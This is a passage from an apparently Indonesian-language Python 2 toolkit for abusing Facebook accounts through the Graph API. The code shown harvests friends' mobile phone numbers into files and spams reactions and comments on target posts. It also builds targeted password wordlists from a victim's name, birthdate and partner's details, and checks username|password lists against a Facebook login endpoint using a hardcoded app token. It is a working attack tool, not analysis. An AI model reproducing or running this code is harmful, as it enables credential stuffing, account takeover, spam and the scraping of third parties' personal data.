\x1b[1;91m: \x1b[1;97m') url = 'https://graph.facebook.com/me/friends?access_token=' + toket r = requests.get(url) z = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for n in z['data']: x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(noms) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def hpfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hpfromteman.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def menu_bot(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Bot Reactions Target Post' print '\x1b[1;37;40m2. Bot Reactions Grup Post' print '\x1b[1;37;40m3. Bot Komen Target Post' print '\x1b[1;37;40m4. Bot Komen Grup Post' print '\x1b[1;37;40m5. Mass delete Post' print '\x1b[1;37;40m6. Terima permintaan pertemanan' print '\x1b[1;37;40m7. Hapus pertemanan' print '\x1b[1;31;40m0. Kembali' print bot_pilih() def bot_pilih(): bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if bots == '': print '\x1b[1;91m[!] Jangan kosong' bot_pilih() else: if bots == '1': menu_react() else: if bots == '2': grup_react() else: if bots == '3': bot_komen() else: if bots == '4': grup_komen() else: if bots == '5': deletepost() else: if bots == '6': accept() else: if bots == '7': unfriend() else: if bots == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada' bot_pilih() def menu_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print react_pilih() def react_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' react_pilih() else: if aksi == '1': tipe = 'LIKE' react() else: if aksi == '2': tipe = 'LOVE' react() else: if aksi == '3': tipe = 'WOW' react() else: if aksi == '4': tipe = 'HAHA' react() else: if aksi == '5': tipe = 'SAD' react() else: if aksi == '6': tipe = 'ANGRY' react() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' react_pilih() def react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print reactg_pilih() def reactg_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' reactg_pilih() else: if aksi == '1': tipe = 'LIKE' reactg() else: if aksi == '2': tipe = 'LOVE' reactg() else: if aksi == '3': tipe = 'WOW' reactg() else: if aksi == '4': tipe = 'HAHA' reactg() else: if aksi == '5': tipe = 'SAD' reactg() else: if aksi == '6': tipe = 'ANGRY' reactg() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' reactg_pilih() def reactg(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] try: oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksigrup.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def bot_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komen.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komengrup.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def deletepost(): os.system('reset') try: toket = open('login.txt', 'r').read() nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) lol = json.loads(nam.text) nama = lol['name'] except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...') print 40 * '\x1b[1;97m\xe2\x95\x90' asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal' except TypeError: print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus' piro += 1 except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def accept(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) teman = json.loads(r.text) if '[]' in str(teman['data']): print '\x1b[1;91m[!] Tidak ada permintaan pertemanan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in teman['data']: gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) a = json.loads(gas.text) if 'error' in str(a): print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def unfriend(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;97mStop \x1b[1;91mCTRL+C' print try: pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(pek.text) for i in cok['data']: nama = i['name'] id = i['id'] requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id except IndexError: pass except KeyboardInterrupt: print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def lain(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Buat postingan' print '\x1b[1;37;40m2. Buat Wordlist' print '\x1b[1;37;40m3. Akun Checker' print '\x1b[1;37;40m4. Lihat daftar grup' print '\x1b[1;37;40m5. Profile Guard' print print '\x1b[1;97m ->Coming soon<-' print print '\x1b[1;31;40m0. Kembali' print pilih_lain() def pilih_lain(): other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if other == '': print '\x1b[1;91m[!] Jangan kosong' pilih_lain() else: if other == '1': status() else: if other == '2': wordlist() else: if other == '3': check_akun() else: if other == '4': grupsaya() else: if other == '5': guard() else: if other == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada' pilih_lain() def status(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ') if msg == '': print '\x1b[1;91m[!] Jangan kosong' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) op = json.loads(res.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def wordlist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' print 40 * '\x1b[1;97m\xe2\x95\x90' a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ') file = open(a + '.txt', 'w') b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ') c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ') d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ') e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') f = e[0:2] g = e[2:4] h = e[4:] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ') j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ') k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') l = k[0:2] m = k[2:4] n = k[4:] file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) wg = 0 while wg < 100: wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while en < 100: en = en + 1 file.write(i + str(en) + '\n') word = 0 while word < 100: word = word + 1 file.write(d + str(word) + '\n') gen = 0 while gen < 100: gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except IOError as e: print '\x1b[1;91m[!] Gagal membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def check_akun(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' print 40 * '\x1b[1;97m\xe2\x95\x90' live = [] cek = [] die = [] try: file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') list = open(file, 'r').readlines() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for meki in list: username, password = meki.strip().split(str(pemisah)) url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password elif 'www.facebook.com' in mpsh['error_msg']: cek.append(password) print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password else: die.append(password) print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def grupsaya(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) gud = json.loads(uh.text) for p in gud['data']: nama = p['name'] id = p['id'] f = open('grupid.txt', 'w') listgrup.append(id) f.write(id + '\n') print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama) print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) print 40 * '\x1b[1;97m=' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup) print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt' f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except KeyError: os.remove('grupid.txt') print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def guard(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Aktifkan' print '\x1b[1;37;40m2. NonAktifkan' print '\x1b[1;31;40m0. Kembali' print g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if g == '1': aktif = 'true' gaz(toket, aktif) else: if g == '2': non = 'false' gaz(toket, non) else: if g == '0': lain() else: if g == '': keluar() else: keluar() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": 